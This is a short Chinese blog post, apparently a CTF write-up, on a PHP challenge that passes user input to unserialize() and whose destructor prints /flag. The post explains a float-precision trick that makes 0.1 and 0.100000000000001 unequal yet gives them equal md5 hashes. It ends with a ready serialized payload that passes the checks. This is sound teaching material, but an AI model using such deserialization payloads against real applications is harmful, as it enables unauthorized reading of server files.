参加了国赛,才发现自己太菜了,自己做的时候不会
一看别人wp,cm!。正所谓赛后诸葛亮,今天自己也来总结一下这道题
上源代码
<?php
class trick{
public $a;
public $b;
public function __destruct(){
$this->a = (string)$this->a;
if(strlen($this->a) > 5 || strlen($this->b) > 5){
die("你太长了");//a,b的值不能超过5
}
if($this->a !== $this->b && md5($this->a) === md5($this->b) && $this->a != $this->b){
echo file_get_contents("/flag");
}
}
}
highlight_file(__FILE__);
unserialize($_GET['trick']);
题目要求a和b的值和类型都不能相等。并且要让a和b的md5值相等
测试代码
<?php
$a=;
$b=;
var_dump($a!==$b);
var_dump($a!=$b);
var_dump(md5($a)===md5($b));
var_dump($a!==$b&& $a!=$b&&md5($a)===md5($b));
?>
自己就不卖关子了,毕竟是看了wp的人。
要是我们在输入ab的时候最后的范围可以进行改变,比如说数字衰减等等
其实在php里面存在这样的结果。
php只能精度到0.10000000000000精度不衰减。但是后面加加上1以后0.100000000000001直接等于0.1
也就是0.100000000000001在进行运算的时候会因为精度衰减改变成0.1
于是我们可以实验一下
<?php
$a=0.1;
$b=0.100000000000001;
var_dump($a!==$b);#bool(true)
var_dump($a!=$b);#bool(true)
var_dump(md5($a)===md5($b));#bool(true)
var_dump($a!==$b&& $a!=$b&&md5($a)===md5($b));#bool(true)
?>
最后直接进行payload构造
<?php
class trick{
public $a=0.1;
public $b=0.100000000000001;
}
$payload=new trick();
echo serialize($payload);
?>
#O:5:"trick":2:{s:1:"a";d:0.1;s:1:"b";d:0.100000000000001;}
在第一个判断长度的时候也特别巧妙
参考
https://mp.weixin.qq.com/s?__biz=MzU0NjU5NDE4Mg==&mid=2247484035&idx=1&sn=ea5d2e15d53ffa5d22439eb23c583a5a&chksm=fb5a0e6acc2d877cfa03a5122aa2be3377847288715077507460ea68a51e20a9a1d99d816f69&mpshare=1&scene=23&srcid=0822EW4zYLw7XJILKcVTChvI&sharer_sharetime=1598089109807&sharer_shareid=8650af9af4d5f2070802d7230017de3a#rd